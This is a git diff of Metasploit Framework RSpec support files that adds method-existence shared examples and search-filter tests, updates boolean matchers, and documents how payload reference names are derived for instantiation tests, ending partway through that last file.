b/spec/support/shared/examples/msf/db_manager/web.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Web' do + it { is_expected.to respond_to :report_web_form } + it { is_expected.to respond_to :report_web_page } + it { is_expected.to respond_to :report_web_site } + it { is_expected.to respond_to :report_web_vuln } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/wmap.rb b/spec/support/shared/examples/msf/db_manager/wmap.rb new file mode 100644 index 0000000000..549f495b67 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/wmap.rb @@ -0,0 +1,25 @@ +shared_examples_for 'Msf::DBManager::WMAP' do + it { is_expected.to respond_to :create_request } + it { is_expected.to respond_to :create_target } + it { is_expected.to respond_to :delete_all_targets } + it { is_expected.to respond_to :each_distinct_target } + it { is_expected.to respond_to :each_request } + it { is_expected.to respond_to :each_request_target } + it { is_expected.to respond_to :each_request_target_with_body } + it { is_expected.to respond_to :each_request_target_with_headers } + it { is_expected.to respond_to :each_request_target_with_path } + it { is_expected.to respond_to :each_request_target_with_query } + it { is_expected.to respond_to :each_target } + it { is_expected.to respond_to :get_target } + it { is_expected.to respond_to :request_distinct_targets } + it { is_expected.to respond_to :request_sql } + it { is_expected.to respond_to :requests } + it { is_expected.to respond_to :selected_host } + it { is_expected.to respond_to :selected_id } + it { is_expected.to respond_to :selected_port } + it { is_expected.to respond_to :selected_ssl } + it { is_expected.to respond_to :selected_wmap_target } + it { is_expected.to respond_to :sql_query } + it { is_expected.to respond_to :target_requests } + it { is_expected.to respond_to :targets } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/workspace.rb b/spec/support/shared/examples/msf/db_manager/workspace.rb new file mode 100644 index 0000000000..873cd3c691 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/workspace.rb @@ -0,0 +1,8 @@ +shared_examples_for 'Msf::DBManager::Workspace' do + it { is_expected.to respond_to :add_workspace } + it { is_expected.to respond_to :default_workspace } + it { is_expected.to respond_to :find_workspace } + it { is_expected.to respond_to :workspace } + it { is_expected.to respond_to :workspace= } + it { is_expected.to respond_to :workspaces } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/arch.rb b/spec/support/shared/examples/msf/module/arch.rb new file mode 100644 index 0000000000..c4140c6f9f --- /dev/null +++ b/spec/support/shared/examples/msf/module/arch.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::Module::Arch' do + it { is_expected.to respond_to :arch } + it { is_expected.to respond_to :arch? } + it { is_expected.to respond_to :arch_to_s } + it { is_expected.to respond_to :each_arch } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/author.rb b/spec/support/shared/examples/msf/module/author.rb new file mode 100644 index 0000000000..f1f6ab707c --- /dev/null +++ b/spec/support/shared/examples/msf/module/author.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::Module::Author' do + it { is_expected.to respond_to :author } + it { is_expected.to respond_to :author_to_s } + it { is_expected.to respond_to :each_author } +end diff --git a/spec/support/shared/examples/msf/module/compatibility.rb b/spec/support/shared/examples/msf/module/compatibility.rb new file mode 100644 index 0000000000..65b89fafc1 --- /dev/null +++ b/spec/support/shared/examples/msf/module/compatibility.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::Module::Compatibility' do + it { is_expected.to respond_to :compat } + it { is_expected.to respond_to :compatible? } + it { is_expected.to respond_to_protected :init_compat } +end diff --git a/spec/support/shared/examples/msf/module/data_store.rb b/spec/support/shared/examples/msf/module/data_store.rb new file mode 100644 index 0000000000..ecc3f78de9 --- /dev/null +++ b/spec/support/shared/examples/msf/module/data_store.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::Module::DataStore' do + it { is_expected.to respond_to :datastore } + it { is_expected.to respond_to :import_defaults } + it { is_expected.to respond_to :share_datastore } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/full_name.rb b/spec/support/shared/examples/msf/module/full_name.rb new file mode 100644 index 0000000000..918b7e3b4b --- /dev/null +++ b/spec/support/shared/examples/msf/module/full_name.rb @@ -0,0 +1,16 @@ +shared_examples_for 'Msf::Module::FullName' do + it { is_expected.to respond_to :fullname } + it { is_expected.to respond_to :refname } + it { is_expected.to respond_to :shortname } + + context 'class' do + subject { + described_class + } + + it { is_expected.to respond_to :fullname } + it { is_expected.to respond_to :refname } + it { is_expected.to respond_to :refname= } + it { is_expected.to respond_to :shortname } + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/module_info.rb b/spec/support/shared/examples/msf/module/module_info.rb new file mode 100644 index 0000000000..ff65f70f3c --- /dev/null +++ b/spec/support/shared/examples/msf/module/module_info.rb @@ -0,0 +1,28 @@ +shared_examples_for 'Msf::Module::ModuleInfo' do + context 'CONSTANTS' do + context 'UpdateableOptions' do + subject(:updateable_options) { + described_class::UpdateableOptions + } + + it { is_expected.to match_array(%w{Name Description Alias PayloadCompat})} + end + end + + it { is_expected.to respond_to :alias } + it { is_expected.to respond_to :description } + it { is_expected.to respond_to :disclosure_date } + it { is_expected.to respond_to_protected :info_fixups } + it { is_expected.to respond_to_protected :merge_check_key } + it { is_expected.to respond_to_protected :merge_info } + it { is_expected.to respond_to_protected :merge_info_advanced_options } + it { is_expected.to respond_to_protected :merge_info_alias } + it { is_expected.to respond_to_protected :merge_info_description } + it { is_expected.to respond_to_protected :merge_info_evasion_options } + it { is_expected.to respond_to_protected :merge_info_name } + it { is_expected.to respond_to_protected :merge_info_options } + it { is_expected.to respond_to_protected :merge_info_string } + it { is_expected.to respond_to_protected :merge_info_version } + it { is_expected.to respond_to :name } + it { is_expected.to respond_to_protected :update_info } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/module_store.rb b/spec/support/shared/examples/msf/module/module_store.rb new file mode 100644 index 0000000000..57588117d6 --- /dev/null +++ b/spec/support/shared/examples/msf/module/module_store.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::Module::ModuleStore' do + it { is_expected.to respond_to :[] } + it { is_expected.to respond_to :[]= } + it { is_expected.to respond_to :module_store } + it { is_expected.to respond_to :module_store= } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/network.rb b/spec/support/shared/examples/msf/module/network.rb new file mode 100644 index 0000000000..5db6122242 --- /dev/null +++ b/spec/support/shared/examples/msf/module/network.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::Module::Network' do + it { is_expected.to respond_to :comm } + it { is_expected.to respond_to :support_ipv6? } + it { is_expected.to respond_to :target_host } + it { is_expected.to respond_to :target_port } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/options.rb b/spec/support/shared/examples/msf/module/options.rb new file mode 100644 index 0000000000..61e593ee7e --- /dev/null +++ b/spec/support/shared/examples/msf/module/options.rb @@ -0,0 +1,8 @@ +shared_examples_for 'Msf::Module::Options' do + it { is_expected.to respond_to_protected :deregister_options } + it { is_expected.to respond_to :options } + it { is_expected.to respond_to :validate } + it { is_expected.to respond_to_protected :register_advanced_options } + it { is_expected.to respond_to_protected :register_evasion_options } + it { is_expected.to respond_to_protected :register_options } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/privileged.rb b/spec/support/shared/examples/msf/module/privileged.rb new file mode 100644 index 0000000000..d2df732ac3 --- /dev/null +++ b/spec/support/shared/examples/msf/module/privileged.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::Module::Privileged' do + it { is_expected.to respond_to :privileged } + it { is_expected.to respond_to :privileged? } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/ranking.rb b/spec/support/shared/examples/msf/module/ranking.rb new file mode 100644 index 0000000000..0f17760847 --- /dev/null +++ b/spec/support/shared/examples/msf/module/ranking.rb @@ -0,0 +1,15 @@ +shared_examples_for 'Msf::Module::Ranking' do + it { is_expected.to respond_to :rank } + it { is_expected.to respond_to :rank_to_h } + it { is_expected.to respond_to :rank_to_s } + + context 'class' do + subject { + described_class + } + + it { is_expected.to respond_to :rank } + it { is_expected.to respond_to :rank_to_h } + it { is_expected.to respond_to :rank_to_s } + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/search.rb b/spec/support/shared/examples/msf/module/search.rb new file mode 100644 index 0000000000..53996575d8 --- /dev/null +++ b/spec/support/shared/examples/msf/module/search.rb @@ -0,0 +1,168 @@ +shared_examples_for 'Msf::Module::Search' do + describe '#search_filter' do + REF_TYPES = %w(CVE BID OSVDB EDB) + + shared_examples "search_filter" do |opts| + accept = opts[:accept] || [] + reject = opts[:reject] || [] + + accept.each do |query| + it "should accept a query containing '#{query}'" do + # if the subject matches, search_filter returns false ("don't filter me out!") + subject.search_filter(query).should be_falsey + end + + unless opts.has_key?(:test_inverse) and not opts[:test_inverse] + it "should reject a query containing '-#{query}'" do + subject.search_filter("-#{query}").should be_truthy + end + end + end + + reject.each do |query| + it "should reject a query containing '#{query}'" do + # if the subject doesn't matches, search_filter returns true ("filter me out!") + subject.search_filter(query).should be_truthy + end + + unless opts.has_key?(:test_inverse) and not opts[:test_inverse] + it "should accept a query containing '-#{query}'" do + subject.search_filter("-#{query}").should be_truthy # what? why? + end + end + end + end + + let(:opts) { Hash.new } + before { subject.stub(:fullname => '/module') } + subject { Msf::Module.new(opts) } + accept = [] + reject = [] + + context 'on a blank query' do + it_should_behave_like 'search_filter', :accept => [''], :test_inverse => false + end + + context 'on a client module' do + before { subject.stub(:stance => 'passive') } + accept = %w(app:client) + reject = %w(app:server) + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + + context 'on a server module' do + before { subject.stub(:stance => 'aggressive') } + accept = %w(app:server) + reject = %w(app:client) + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + + context 'on a module with the author "joev"' do + let(:opts) { ({ 'Author' => ['joev'] }) } + accept = %w(author:joev author:joe) + reject = %w(author:unrelated) + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + + context 'on a module with the authors "joev" and "blarg"' do + let(:opts) { ({ 'Author' => ['joev', 'blarg'] }) } + accept = %w(author:joev author:joe) + reject = %w(author:sinn3r) + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + + context 'on a module that supports the osx platform' do + let(:opts) { ({ 'Platform' => %w(osx) }) } + accept = %w(platform:osx os:osx) + reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix) + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + + context 'on a module that supports the linux platform' do + let(:opts) { ({ 'Platform' => %w(linux) }) } + accept = %w(platform:linux os:linux) + reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix) + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + + context 'on a module that supports the windows platform' do + let(:opts) { ({ 'Platform' => %w(windows) }) } + accept = %w(platform:windows os:windows) + reject = %w(platform:bsd platform:osx platform:unix os:bsd os:osx os:unix) + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + + context 'on a module that supports the osx and linux platforms' do + let(:opts) { ({ 'Platform' => %w(osx linux) }) } + accept = %w(platform:osx platform:linux os:osx os:linux) + reject = %w(platform:bsd platform:windows platform:unix os:bsd os:windows os:unix) + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + + context 'on a module that supports the windows and irix platforms' do + let(:opts) { ({ 'Platform' => %w(windows irix) }) } + accept = %w(platform:windows platform:irix os:windows os:irix) + reject = %w(platform:bsd platform:osx platform:linux os:bsd os:osx os:linux) + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + + context 'on a module with a default RPORT of 5555' do + before { subject.stub(:datastore => { 'RPORT' => 5555 }) } + accept = %w(port:5555) + reject = %w(port:5556) + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + + context 'on a module with a #name of "blah"' do + let(:opts) { ({ 'Name' => 'blah' }) } + it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo) + it_should_behave_like 'search_filter', :accept => %w(name:blah), :reject => %w(name:foo) + end + + context 'on a module with a #fullname of "blah"' do + before { subject.stub(:fullname => '/c/d/e/blah') } + it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo) + it_should_behave_like 'search_filter', :accept => %w(path:blah), :reject => %w(path:foo) + end + + context 'on a module with a #description of "blah"' do + let(:opts) { ({ 'Description' => 'blah' }) } + it_should_behave_like 'search_filter', :accept => %w(text:blah), :reject => %w(text:foo) + end + + context 'when filtering by module #type' do + all_module_types = Msf::MODULE_TYPES + all_module_types.each do |mtype| + context "on a #{mtype} module" do + before(:each) { subject.stub(:type => mtype) } + + accept = ["type:#{mtype}"] + reject = all_module_types.reject { |t| t == mtype }.map { |t| "type:#{t}" } + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + end + end + + REF_TYPES.each do |ref_type| + ref_num = '1234-1111' + context 'on a module with reference #{ref_type}-#{ref_num}' do + let(:opts) { ({ 'References' => [[ref_type, ref_num]] }) } + accept = ["#{ref_type.downcase}:#{ref_num}"] + reject = %w(1235-1111 1234-1112 bad).map { |n| "#{ref_type.downcase}:#{n}" } + + it_should_behave_like 'search_filter', :accept => accept, :reject => reject + end + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/type.rb b/spec/support/shared/examples/msf/module/type.rb new file mode 100644 index 0000000000..1f8d13f02a --- /dev/null +++ b/spec/support/shared/examples/msf/module/type.rb @@ -0,0 +1,17 @@ +shared_examples_for 'Msf::Module::Type' do + it { is_expected.to respond_to :auxiliary? } + it { is_expected.to respond_to :encoder? } + it { is_expected.to respond_to :exploit? } + it { is_expected.to respond_to :nop? } + it { is_expected.to respond_to :payload? } + it { is_expected.to respond_to :post? } + it { is_expected.to respond_to :type } + + context 'class' do + subject { + described_class + } + + it { is_expected.to respond_to :type } + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/ui.rb b/spec/support/shared/examples/msf/module/ui.rb new file mode 100644 index 0000000000..ca1f26232e --- /dev/null +++ b/spec/support/shared/examples/msf/module/ui.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::Module::UI' do + it_should_behave_like 'Msf::Module::UI::Line' + it_should_behave_like 'Msf::Module::UI::Message' +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/ui/line.rb b/spec/support/shared/examples/msf/module/ui/line.rb new file mode 100644 index 0000000000..4835d802b5 --- /dev/null +++ b/spec/support/shared/examples/msf/module/ui/line.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::Module::UI::Line' do + it_should_behave_like 'Msf::Module::UI::Line::Verbose' + + it { is_expected.to respond_to :print_line } + it { is_expected.to respond_to :print_line_prefix } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/ui/line/verbose.rb b/spec/support/shared/examples/msf/module/ui/line/verbose.rb new file mode 100644 index 0000000000..f5bcfbd63c --- /dev/null +++ b/spec/support/shared/examples/msf/module/ui/line/verbose.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::Module::UI::Line::Verbose' do + it { is_expected.to respond_to :vprint_line } +end diff --git a/spec/support/shared/examples/msf/module/ui/message.rb b/spec/support/shared/examples/msf/module/ui/message.rb new file mode 100644 index 0000000000..1aef68f978 --- /dev/null +++ b/spec/support/shared/examples/msf/module/ui/message.rb @@ -0,0 +1,9 @@ +shared_examples_for 'Msf::Module::UI::Message' do + it_should_behave_like 'Msf::Module::UI::Message::Verbose' + + it { is_expected.to respond_to :print_error } + it { is_expected.to respond_to :print_good } + it { is_expected.to respond_to :print_prefix } + it { is_expected.to respond_to :print_status } + it { is_expected.to respond_to :print_warning } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/ui/message/verbose.rb b/spec/support/shared/examples/msf/module/ui/message/verbose.rb new file mode 100644 index 0000000000..eb250134a2 --- /dev/null +++ b/spec/support/shared/examples/msf/module/ui/message/verbose.rb @@ -0,0 +1,7 @@ +shared_examples_for 'Msf::Module::UI::Message::Verbose' do + it { is_expected.to respond_to :vprint_debug } + it { is_expected.to respond_to :vprint_error } + it { is_expected.to respond_to :vprint_good } + it { is_expected.to respond_to :vprint_status } + it { is_expected.to respond_to :vprint_warning } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module/uuid.rb b/spec/support/shared/examples/msf/module/uuid.rb new file mode 100644 index 0000000000..a40bd133c3 --- /dev/null +++ b/spec/support/shared/examples/msf/module/uuid.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::Module::UUID' do + it { is_expected.to respond_to :uuid } +end diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 495ca3e2e6..5a7029e24c 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -44,7 +44,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do {} end - it { should be_true } + it { should be_truthy } end context 'without empty' do @@ -54,7 +54,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do } end - it { should be_false } + it { should be_falsey } end end @@ -153,6 +153,8 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end context 'with module info in cache' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + let(:module_info_by_path) do { 'path/to/module' => { @@ -196,7 +198,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should be_false } + it { should be_falsey } end context 'with true' do @@ -204,7 +206,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do true end - it { should be_true } + it { should be_truthy } end end end @@ -214,7 +216,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do {} end - it { should be_false } + it { should be_falsey } end end @@ -315,7 +317,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do true end - it { should be_true } + it { should be_truthy } end context 'without migrated' do @@ -323,7 +325,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should be_false } + it { should be_falsey } end end @@ -332,16 +334,20 @@ shared_examples_for 'Msf::ModuleManager::Cache' do framework.stub(:db => nil) end - it { should be_false } + it { should be_falsey } end end context '#module_info_by_path' do - it { should respond_to(:module_info_by_path) } + it 'should have protected method module_info_by_path' do + subject.respond_to?(:module_info_by_path, true).should be_truthy + end end context '#module_info_by_path=' do - it { should respond_to(:module_info_by_path=) } + it 'should have protected method module_info_by_path=' do + subject.respond_to?(:module_info_by_path=, true).should be_truthy + end end context '#module_info_by_path_from_database!' do @@ -358,29 +364,10 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end context 'with framework migrated' do - include_context 'DatabaseCleaner' - let(:framework_migrated?) do true end - before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] - - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - framework.db.connect(spec) - end - - it 'should call ActiveRecord::Base.connection_pool.with_connection' do - # 1st is from with_established_connection - # 2nd is from module_info_by_path_from_database! - ActiveRecord::Base.connection_pool.should_receive(:with_connection).at_least(2).times - - module_info_by_path_from_database! - end - it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do Mdm::Module::Detail.should_receive(:find_each) @@ -408,7 +395,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should use Msf::Modules::Loader::Base.typed_path to derive parent_path' do - Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).and_call_original + Msf::Modules::Loader::Base.should_receive(:typed_path).with(type, reference_name).at_least(:once).and_call_original module_info_by_path_from_database! end @@ -422,10 +409,10 @@ shared_examples_for 'Msf::ModuleManager::Cache' do module_info_by_path_from_database! end - its([:modification_time]) { should be_within(1.second).of(pathname_modification_time) } - its([:parent_path]) { should == parent_path } - its([:reference_name]) { should == reference_name } - its([:type]) { should == type } + it { expect(subject[:modification_time]).to be_within(1.second).of(pathname_modification_time) } + it { expect(subject[:parent_path]).to eq(parent_path) } + it { expect(subject[:reference_name]).to eq(reference_name) } + it { expect(subject[:type]).to eq(type) } end context 'typed module set' do @@ -465,8 +452,6 @@ shared_examples_for 'Msf::ModuleManager::Cache' do false end - it { should_not query_the_database.when_calling(:module_info_by_path_from_database!) } - it 'should reset #module_info_by_path' do # pre-fill module_info_by_path so change can be detected module_manager.send(:module_info_by_path=, double('In-memory Cache')) @@ -477,4 +462,4 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 9f32665fc4..7c492100ed 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -9,7 +9,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do module_path = tempfile.path subject.send(:module_info_by_path)[module_path].should be_nil - subject.file_changed?(module_path).should be_true + subject.file_changed?(module_path).should be_truthy end end @@ -25,7 +25,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do :type => Msf::MODULE_PAYLOAD } - subject.file_changed?(module_path).should be_true + subject.file_changed?(module_path).should be_truthy end end @@ -41,8 +41,8 @@ shared_examples_for 'Msf::ModuleManager::Loading' do tempfile.unlink - File.exist?(module_path).should be_false - subject.file_changed?(module_path).should be_true + File.exist?(module_path).should be_falsey + subject.file_changed?(module_path).should be_truthy end it 'should return true if modification time does not match the cached modification time' do @@ -56,7 +56,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do } cached_modification_time.should_not == modification_time - subject.file_changed?(module_path).should be_true + subject.file_changed?(module_path).should be_truthy end end @@ -71,7 +71,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do } cached_modification_time.should == modification_time - subject.file_changed?(module_path).should be_false + subject.file_changed?(module_path).should be_falsey end end end @@ -159,4 +159,4 @@ shared_examples_for 'Msf::ModuleManager::Loading' do on_module_load end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb index 0951211d28..dc24b4c986 100644 --- a/spec/support/shared/examples/msf/module_manager/module_paths.rb +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -14,33 +14,6 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do end end - context 'with Fastlib archive' do - it 'should raise an ArgumentError unless the File exists' do - file = Tempfile.new(archive_basename) - # unlink will clear path, so copy it to a variable - path = file.path - file.unlink - - File.exist?(path).should be_false - - expect { - module_manager.add_module_path(path) - }.to raise_error(ArgumentError, "The path supplied does not exist") - end - - it 'should add the path to #module_paths if the File exists' do - Tempfile.open(archive_basename) do |temporary_file| - path = temporary_file.path - - File.exist?(path).should be_true - - module_manager.add_module_path(path) - - module_paths.should include(path) - end - end - end - context 'with directory' do it 'should add path to #module_paths' do Dir.mktmpdir do |path| @@ -49,19 +22,6 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do module_paths.should include(path) end end - - context 'containing Fastlib archives' do - it 'should add each Fastlib archive to #module_paths' do - Dir.mktmpdir do |directory| - Tempfile.open(archive_basename, directory) do |file| - module_manager.add_module_path(directory) - - module_paths.should include(directory) - module_paths.should include(file.path) - end - end - end - end end context 'with other file' do @@ -74,4 +34,4 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb b/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb deleted file mode 100644 index f0f5b0582e..0000000000 --- a/spec/support/shared/examples/msf/modules/loader_archive_read_module_content.rb +++ /dev/null @@ -1,14 +0,0 @@ -# -*- coding:binary -*- -shared_examples_for 'Msf::Modules::Loader::Archive#read_module_content' do - it 'should be able to read the module content' do - archived_module_content = subject.send(:read_module_content, @parent_path, type, module_reference_name) - unarchived_module_content = '' - - File.open(unarchived_path) do |f| - unarchived_module_content = f.read - end - - unarchived_module_content.should_not be_empty - archived_module_content.should == unarchived_module_content - end -end diff --git a/spec/support/shared/examples/msf/simple/framework/module_paths.rb b/spec/support/shared/examples/msf/simple/framework/module_paths.rb index 56df640695..a8ad92485b 100644 --- a/spec/support/shared/examples/msf/simple/framework/module_paths.rb +++ b/spec/support/shared/examples/msf/simple/framework/module_paths.rb @@ -2,12 +2,14 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do it { should be_a Msf::Simple::Framework::ModulePaths } context '#init_module_paths' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + def init_module_paths - framework.init_module_paths + framework.init_module_paths(options) end let(:module_directory) do - nil + Rails.application.root.join('modules').expand_path.to_path end let(:user_module_directory) do @@ -23,7 +25,6 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do # to init_module_paths doesn't get captured. framework - Msf::Config.stub(:module_directory => module_directory) Msf::Config.stub(:user_module_directory => user_module_directory) end @@ -33,22 +34,15 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do init_module_paths end + it "adds Rails.application.paths['modules'] to module paths" do + expect(framework.modules).to receive(:add_module_path).with(module_directory, options) + + init_module_paths + end + context 'Msf::Config' do - context 'module_directory' do - context 'without nil' do - let(:module_directory) do - 'modules' - end - - it 'should add Msf::Config.module_directory to module paths' do - framework.modules.should_receive(:add_module_path).with( - module_directory, - options - ) - - init_module_paths - end - end + before(:each) do + allow(Rails.application.paths).to receive(:[]).with('modules').and_return(nil) end context 'user_module_directory' do @@ -70,6 +64,10 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do end context 'datastore' do + before(:each) do + allow(Rails.application.paths).to receive(:[]).with('modules').and_return(nil) + end + context 'MsfModulePaths' do let(:module_paths) do module_paths = [] @@ -96,4 +94,4 @@ shared_examples_for 'Msf::Simple::Framework::ModulePaths' do end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/options.rb b/spec/support/shared/examples/options.rb deleted file mode 100644 index d84fa9a692..0000000000 --- a/spec/support/shared/examples/options.rb +++ /dev/null @@ -1,61 +0,0 @@ -# -*- coding:binary -*- - -shared_examples_for "an option" do |valid_values, invalid_values, type| - subject do - described_class.new("name") - end - - let(:required) { described_class.new('name', [true, 'A description here'])} - let(:optional) { described_class.new('name', [false, 'A description here'])} - - it "should return a type of #{type}" do - subject.type.should == type - end - - context 'when required' do - it 'should not be valid for nil' do - required.valid?(nil).should == false - end - end - - context 'when not required' do - it 'it should be valid for nil' do - optional.valid?(nil).should == true - end - end - - context "with valid values" do - valid_values.each do |vhash| - valid_value = vhash[:value] - normalized_value = vhash[:normalized] - - it "should be valid and normalize appropriately: #{valid_value}" do - block = Proc.new { - subject.normalize(valid_value).should == normalized_value - subject.valid?(valid_value).should be_true - } - if vhash[:pending] - pending(vhash[:pending], &block) - else - block.call - end - end - end - end - - context "with invalid values" do - invalid_values.each do |vhash| - invalid_value = vhash[:value] - it "should not be valid: #{invalid_value}" do - block = Proc.new { subject.valid?(invalid_value).should be_false } - if vhash[:pending] - pending(vhash[:pending], &block) - else - block.call - end - end - end - end - -end - diff --git a/spec/support/shared/examples/payload_can_be_instantiated.rb b/spec/support/shared/examples/payload_can_be_instantiated.rb new file mode 100644 index 0000000000..c0550b01f8 --- /dev/null +++ b/spec/support/shared/examples/payload_can_be_instantiated.rb @@ -0,0 +1,110 @@ +# @note Requires use of 'untested payloads' shared context for tracking of `@actual_ancestor_reference_name_set`. +# +# Tests that the `:ancestor_reference_names` can be loaded from `:modules_pathname` and once the ancestors are loaded +# that `:reference_name` can be instantiated. +# +# # Payload Reference Name Derivation +# You can see this naming logic [here](https://github.com/rapid7/metasploit-framework/blob/1508be6254f698f345616d14415bce164bf377f9/lib/msf/core/payload_set.rb#L132-L148). +# +# ## Single +# 1. Remove the payload type prefix, `modules/payloads/singles`, from the path. +# 2. Remove the file extension, `.rb` from the path +# +# This is <reference_name> +# +# ## Staged +# +# ### Stager +# Determine if the stager module has a `handler_type_alias` +# No) Use stager's handler's `handler_type` as `<handler_type>`. +# Yes) Use the return value from `handler_type_alias` as `<handler_type>`. +# +# ### Stage +# 1. Remove the payload type prefix, `modules/payloads/stages`, from the path. +# 2. Remove the file extension, `.rb` from the path. +# +# This is <stage_reference_name>. +# +# ### Combining +# The final staged module's combined `<reference_name>` is `<stage_reference_name>/<handler_type>`. +# +# @example Using 'payload can be instantiated' with `Metasploit::Framework::Spec::UntestedPayloads.define_task` and 'untested payloads' shared context +# # Rakefile +# require 'metasploit/framework/spec/untested_payloads' +# +# # defined spec task with rspec-rails +# My::Application.load_tasks +# # extends spec task to fail when there are untested payloads +# Metasploit::Framework::Spec::UntestedPayloads.define_task +# +# # spec/modules/payloads_spec.rb +# require 'spec_helper' +# +# describe 'modules/payloads' do +# modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules') +# +# include_context 'untested payloads', modules_pathname: modules_pathname +# +# context 'my/staged/payload/handler' do +# it_should_behave_like 'payload can be instantiated', +# ancestor_reference_names: [ +# 'stages/my/payload', +# 'stagers/my/payload/handler' +# ], +# modules_pathname: modules_pathname, +# reference_name: 'my/staged/payload/handler' +# end +# end +# +# @param options [Hash{Symbol => Array<String>, Pathname, String}] +# @option options [Array<String>] :ancestor_reference_names The reference names of the payload modules that are included +# in {Msf::Payload} to make the `:reference_name` payload. Ancestor reference names are the names of the files under +# `modules/payloads` without the extension `.rb` that are mixed together to form a payload module `Class`. For +# single payloads, there will be one ancestor reference name from `modules/payloads/singles`, while for staged +# payloads there with be one ancestor reference name from `modules/payloads/stagers` and one ancestor reference name +# from `modules/payloads/stages`. +# @option options [Pathname] :modules_pathname The `modules` directory from which to load `:ancestor_reference_names`. +# @option options [String] :reference_name The reference name for payload class that should be instantiated from mixing +# `:ancestor_reference_names`. +# @return [void] +shared_examples_for 'payload can be instantiated' do |options| + options.assert_valid_keys(:ancestor_reference_names, :modules_pathname, :reference_name) + + 